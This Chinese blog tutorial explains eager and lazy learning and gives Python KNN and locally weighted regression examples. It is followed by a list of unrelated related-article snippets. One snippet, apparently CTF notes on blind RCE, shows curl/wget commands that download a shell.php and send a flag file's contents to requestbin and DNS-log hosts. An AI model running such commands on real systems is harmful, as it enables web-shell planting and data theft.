关于懒惰学习与渴求学习的一份介绍
在这篇文章中,我将介绍些懒惰学习与渴求学习的算法例子,会介绍其概念、优缺点以及其python的运用。
一、渴求学习
1.1概念
渴求学习(Eager Learning)是指在训练阶段构建出复杂的模型,然后在预测阶段运用这个构建出的模型来进行预测。(在西瓜书中,将其翻译为“急切学习”)
1.2 优缺点
优点:预测效率高(因为已经构建好,所以直接拿来用即可)、适用范围广泛、可解释性强。
缺点:训练时间长、对静态数据集有效(对于一个动态的数据集,渴求学习需要对其频繁计算与训练,这样在有些时候是不符合实际需求的)、模型更新能力弱。
1.3 常见渴求学习的算法
通常,像逻辑回归、决策树、逻辑森林、SVM、深度学习等都属于渴求学习。
二、懒惰学习
1.1 概念
懒惰学习(Lazy Learning)与传统的渴求学习对应,它是一种机器学习的范式。通常地,这类学习算法会在训练阶段做极少或压根不做计算,而在之后的预测阶段才进行计算。可以说这类学习算法不进行复杂运算而是转向简单的存储并用这些存储去做出决策。
仔细观察,我们会发现渴求学习与懒惰学习间实际反应了时间复杂度与空间复杂度间的权衡。在渴求学习中,我们在训练阶段就要去构建一个模型,此时的时间复杂度通常会很高,而到了预测阶段则会相对降低,因为此时我们直接使用了那个构建的模型,而在整个过程中,真正需要去存储的只有那个构建好的模型,而不是庞大的训练集;而懒惰学习则与之相反,它起先时间复杂度很低,而后变高,因为开始时只要存储数据即可,而到了之后的预测阶段才开始构建局部模型去预测,所以复杂度升高,在整个过程中,其空间复杂度都会很高,因为它需要存储的不是一个构建好的模型而是整个庞大的训练集。所以,在实际运用是可以根据需求找到对于时间与空间之间的平衡点而进行正确的决定。
1.2 优缺点
优点:适应性强、灵活性高、训练时间较少。
缺点:内存消耗大、可解释性弱。
1.3 常见懒惰学习的算法
1)KNN算法
之前,我有详细介绍过KNN算法,所以在这里我只放一份代码,有需要的可以看我以往的文章。代码如下:
import numpy as np
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.neighbors import KNeighborsClassifier
import matplotlib.pyplot as plt# 加载数据集并分割
iris = load_iris()
X = iris.data[:, [2, 3]] # 只使用花瓣长度和宽度
y = iris.target
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=1, stratify=y)# 标准化
sc = StandardScaler()
sc.fit(X_train)
X_train_std = sc.transform(X_train)
X_test_std = sc.transform(X_test)# KNN实例化
knn = KNeighborsClassifier(n_neighbors=3, p=2, metric='minkowski')
knn.fit(X_train_std, y_train)# 预测
y_pred = knn.predict(X_test_std)# 计算准确率
accuracy = np.mean(y_pred == y_test)
print(f'Accuracy: {accuracy * 100:.2f}%')# 可视化结果
# 训练集
plt.scatter(X_train_std[y_train==0, 0], X_train_std[y_train==0, 1], color='red', marker='o', label='setosa')
plt.scatter(X_train_std[y_train==1, 0], X_train_std[y_train==1, 1], color='blue', marker='x', label='versicolor')
plt.scatter(X_train_std[y_train==2, 0], X_train_std[y_train==2, 1], color='green', marker='s', label='virginica')
# 测试集
plt.scatter(X_test_std[y_test==0, 0], X_test_std[y_test==0, 1], color='lightcoral', marker='o', label='test setosa')
plt.scatter(X_test_std[y_test==1, 0], X_test_std[y_test==1, 1], color='lightblue', marker='x', label='test versicolor')
plt.scatter(X_test_std[y_test==2, 0], X_test_std[y_test==2, 1], color='lightgreen', marker='s', label='test virginica')
plt.xlabel('Petal length [standardized]')
plt.ylabel('Petal width [standardized]')
plt.legend(loc='upper left')
plt.show()
其绘制出的图表为:
2)局部加权回归(LRW)
局部加权回归的思路是: 在训练阶段不进行计算只存储数据,然后到了预测阶段则对于每一个新的输入数据点都根据周围附近的数据点来构建一个局部线性回归模型并对这个输入数据点去预测,预测完则作废。
其代码如下:
import numpy as np
import matplotlib.pyplot as plt# 生成模拟数据
np.random.seed(42)
X = np.linspace(0, 10, 100).reshape(-1, 1)
y = np.sin(X).ravel() + np.random.normal(0, 0.1, size=X.shape[0])# LWR算法实现
def lw_regression(X_train, y_train, X_test, tau):# 带宽参数taum = X_train.shape[0]weights = np.eye(m)for i in range(m):diff = X_train[i] - X_testweights[i, i] = np.exp(-diff * diff.T / (2.0 * tau * tau))theta = np.linalg.solve(X_train.T.dot(weights.dot(X_train)), X_train.T.dot(weights.dot(y_train)))return X_test.dot(theta)# 预测
predictions = []
tau = 0.1
for point in X:predictions.append(lw_regression(X, y, point, tau))
predictions = np.array(predictions)# 可视化结果
plt.figure(figsize=(10, 6))
plt.scatter(X, y, color='blue', label='Training data')
plt.plot(X, predictions, color='red', linewidth=2, label='LWR fit')
plt.xlabel('Feature')
plt.ylabel('Target')
plt.title('Locally Weighted Regression (LWR)')
plt.legend()
plt.show()
然后代码做出的图表如下:
在这里,我给出代码的流程图如下:
这个流程图就是LWR的主要流程,至于整个代码,则是分为了三部分,生成模拟数据、预测以及可视化。其中关于生成模拟数据的过程中,我先设置了随机数种子,然后生成了0到10均匀分布的100个点,接着将之reshape成一列,最后生成正弦波形数据,并添加一些正态分布的噪声。
最后,我再解释下生成的图像,其中蓝色的点是生成的数据点,然后红色的曲线是加权回归算法的拟合结果。可以看出,局部加权回归算法生成的拟合曲线相当平滑。这是因为算法通过给每个训练样本分配权重,并根据权重构建局部线性模型,从而减少了噪声的影响。其中关于参数tau是指带宽,它控制着参数下降的速度,较小的tau值意味着权重随距离的增加而迅速下降,这会导致模型更加关注附近的点,可能产生过拟合。较大的tau值会使权重衰减得更慢,模型会考虑到更远的点,可能导致欠拟合。
3)懒惰朴素贝叶斯
虽然朴素贝叶斯通常属于渴求学习,但是让我们将其所有训练数据保存下来,然后在预测时计算每个类别的条件概率,而不是预先计算并存储概率分布。那么此时它就属于懒惰学习了。
4)懒惰SVM
在训练阶段我们只让它去存储训练数据与支持向量,而不去构建决策边界,然后在预测阶段根据输入数据与支持向量的关系再去做分类决策,那么此时的支持向量机就可以被称为“懒惰SVM”。
除上述外,还有懒惰强化学习、懒惰实例基学习、懒惰决策规则等也属于懒惰学习的范畴,在此不一一叙述了。
此上
相关文章:

关于懒惰学习与渴求学习的一份介绍
在这篇文章中,我将介绍些懒惰学习与渴求学习的算法例子,会介绍其概念、优缺点以及其python的运用。 一、渴求学习 1.1概念 渴求学习(Eager Learning)是指在训练阶段构建出复杂的模型,然后在预测阶段运用这个构建出的…...

sed 环境配置
参考项目来自这里: https://github.com/DCASE-REPO/DESED_task/tree/master/recipes/dcase2023_task4_baseline 1. 更新自己的 conda 避免一些包在旧的conda 环境中不存在; conda update conda使用conda 指定安装 对应版本 # CUDA 11.7 conda instal…...

黑神话:仙童,数据库自动反射魔法棒
黑神话:仙童,数据库自动反射魔法棒 Golang 通用代码生成器仙童发布了最新版本电音仙女尝鲜版十一及其介绍视频,视频请见:https://www.bilibili.com/video/BV1ET4wecEBk/ 此视频介绍了使用最新版的仙童代码生成器,将 …...

香江电器冲刺港交所上市:投资方提前撤资退出,因对赌协议而赔偿
近日,湖北香江电器股份有限公司(X.J. ELECTRICS (HU BEI) CO., LTD,下称“香江电器”)披露招股书,准备在港交所主板上市,国金证券为其独家保荐人。据贝多财经了解,香江电器曾计划在A股上市&…...

SpringSecurity实现自定义登录接口
SpringSecurity实现自定义登录接口 1、配置类 ConfigClazz(SpringSecuriey的) //首先就是要有一个配置类Resourceprivate DIYUsernamePasswordAuthenticationFilter diyUsernamePasswordAuthenticationFilter;/*SpringSecurity配置*/Beanpublic Securit…...

深度解析:Tkinter 界面布局与优化技巧
目录 深度解析:Tkinter 界面布局与优化技巧1. Tkinter 布局管理简介如何选择合适的布局管理器 2. pack() 布局管理详解嵌套布局 3. grid() 布局管理详解行列合并 4. place() 精确布局详解5. Tkinter 界面优化技巧自适应布局响应式布局资源管理 6. 项目示例ÿ…...

RCE_无回显
<aside> 💡 无回显 </aside> 写文件 **curl -o shell.php <http://xxxxxx.txt> wget -O shell.php <http://xxxxxx.txt>**请求带出 **curl <http://requestbin.net/r/1kiej1p1?pcat> /flag|base64 curl xxd -p /flag.xxxxxx.dnslo…...

文心一言智能体——绿色生活管家
最近,我在参加文心一言智能体大赛,这是我的智能体地址绿色生活管家,点击即可访问,大家可以去向我的智能体提问,提五个问题左右即可,真的非常感谢大家!好人一生平安🌼🌼&a…...

无人机(自组穿越机,航模)-芯片选型
飞控MCU: 型号尺寸子型号参数规格备注STM325*532位ARM Cortex-M3 CPU,72MHz,256KB Flash,20KB RAMLQFP 48F33*332位ARM Cortex-M4 CPU,72MHz,256KB Flash,40KB RAMMPU6050F45*532位ARM Cortex-M4 CPU&…...

[Cocoa]_[初级]_[绘制文本如何设置断行效果]
场景 在开发Cocoa程序时,表格NSTableView是经常使用的控件。其基于View Base的视图单元格模式就是使用NSCell或其子类来控制每个单元格的呈现。当一个单元格里的文字过多时,需要截断超出宽度的文字,怎么实现? 说明 Cocoa下的文本…...

IPS和IDS有啥区别
在网络安全领域,入侵检测系统 (IDS) 和入侵防御系统 (IPS) 是两种关键的技术,旨在保护网络免受各种威胁。这两者尽管名字相似,但在功能、配置、以及应用场景等方面都有着显著的差异。 入侵检测系统 (IDS) IDS 是一种被动监控系统,…...

c基础面试题
1.static和const的作用 static意为静态的,在C语言中可以修饰变量。如果是全局变量则只能在当前文件范围访问。 如果是函数内的局部变量则延长生命周期到整个程序。这意味着如果函数被多次调用,这个变量不会被重新初始化,而是保留上次调用结…...

选择最佳HR系统_6款产品评测与推荐
本文盘点了ZohoPeople、SAPSuccessFactors等六款主流HRMS,各系统各具特色,如ZohoPeople的全球化云管理、SAP的高定制化、Workday的实时数据分析等,适合不同规模企业需求,建议企业试用后决策。 一、Zoho People Zoho People 是一个…...

Latex技巧——参考文献中加入url和doi
有的期刊要求在参考文献里加入url或者doi, 例如下图中蓝色的字体。 在bib里编辑为下图中note行,也就是利用\href命令。\href后第一个{}内为网址,第二个{}为在参考文献中显示的蓝色文字。一般来说,两个{}内的文字相同。若遇到有些网址有下划线…...

安卓WPS Office v18.13.0高级版
软件介绍 WPS Office,金山WPS移动版,使用人数最多的移动办公软件套件。独有手机阅读模式,字体清晰翻页流畅;完美支持文字,表格,演示,PDF等51种文档格式;新版本具有海量精美模版及高…...

【C++力扣】917.仅仅反转字母|387.字符串中第一个唯一字符|415.字符串相加
✨ Blog’s 主页: 白乐天_ξ( ✿>◡❛) 🌈 个人Motto:他强任他强,清风拂山冈! 🔥 所属专栏:C深入学习笔记 💫 欢迎来到我的学习笔记! 一、917.仅仅反转字母 1.1 题目描述…...

RxSwift系列(四)异常处理和调试操作
一、异常处理 1.catchErrorJustReturn 当遇到 error 事件的时候,就返回指定的值,然后结束。 enum MyError: Error {case Acase B }let disposeBag DisposeBag()let sequenceThatFails PublishSubject<String>()sequenceThatFails.catchErrorJ…...

Excel基础:电子表格Excel的使用技巧合集
一、内容 1.表格下拉框选择内容...

教育技术革新:SpringBoot在线教育系统开发
1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理微服务在线教育系统的相关信息成为必然。开…...

【大数据入门 | Hive】Join语句
1. 等值join Hive支持通常的sql join语句,但是只支持等值连接,不支持非等值连接。但sql是支持非等值连接的。 1)案例实操 (1)根据员工表和部门表中的部门编号相等,查询员工编号、员工名称和部门名称。 …...

爬虫案例——爬取情话网数据
需求: 1.爬取情话网站中表白里面的所有句子(表白词_表白的话_表白句子情话大全_情话网) 2.利用XPath来进行解析 3.使用面向对象形发请求——创建一个类 4.将爬取下来的数据保存在数据库中 写出对应解析语法 //div[class"box labelbo…...

端模一体,猎豹移动对大模型机器人发展路径清晰
今年世界机器人大会刚刚收官不久,接咖啡、拿苹果、摊煎饼……人形机器人在这届大会上备受关注,厂商们编排“整活”,展位几乎水泄不通。 自从AI大模型开始全面改变市场开始,关于机器人的方向性争论就不绝于耳,就在最近的…...

操作系统笔记
1、操作系统是什么 操作系统是管理硬件和软件的一种应用程序。操作系统是运行在计算机上最重要的一种软件,它管理计算机的资源和进程以及所有软硬件。为计算机提供一种中间层,使得应用软件和硬件进行分离,让我们无需关注硬件的实现ÿ…...

两个wordpress网站共用一个数据库的数据表
在WordPress中,如果你想要两个不同的网站调用同一个数据表,你可以通过以下几种方法实现: 方法一:使用共享数据库 1. 设置共享数据库: – 确保两个WordPress网站都可以访问同一个数据库。 – 在数据库服务器上创建一…...

工具方法 - 面试中回答问题的技巧
在面试中,回答问题的技巧尤为重要。它不仅展示了你的知识和能力,还体现了你处理压力和沟通的技巧。以下是一些在面试中常用的回答技巧,以及如何在这些场合有效地回应问题的示例: 1. 抓住问题的核心 面试官通常会提出直接的问题&a…...

频繁full gc问题排查及解决
为什么我们要对频繁full gc的情况进行处理---》频繁full gc会导致stw,影响用户体验。 (1)先进行问题的排查 如果频繁full gc 会报警,公司有自己的监控平台,可以查看full gc的情况 如果公司没有自己的监控平台&#…...

昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍 本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据…...

基于SpringBoot+Vue的网约车管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...

Java、PHP、ASP、JSP、Kotlin、.NET、Go
Java 1995年,Java诞生了,微软的Java是J#,早期是J. 它在C的基础上增强了安全性,不允许多重继承,堆栈不允许类对象,数组和枚举都是类对象。 Java的诞生 早期的Sun公司想要在消费级嵌入式设备编写可移植的代码…...

华为-单臂路由
1、什么是单臂路由 单臂路由(Single-Arm Routing)是一种网络架构和配置技术,它允许路由器通过一个物理接口来管理多个虚拟局域网(VLAN)之间的通信。 这个物理接口被配置为Trunk模式,以便能够传输来自不同VL…...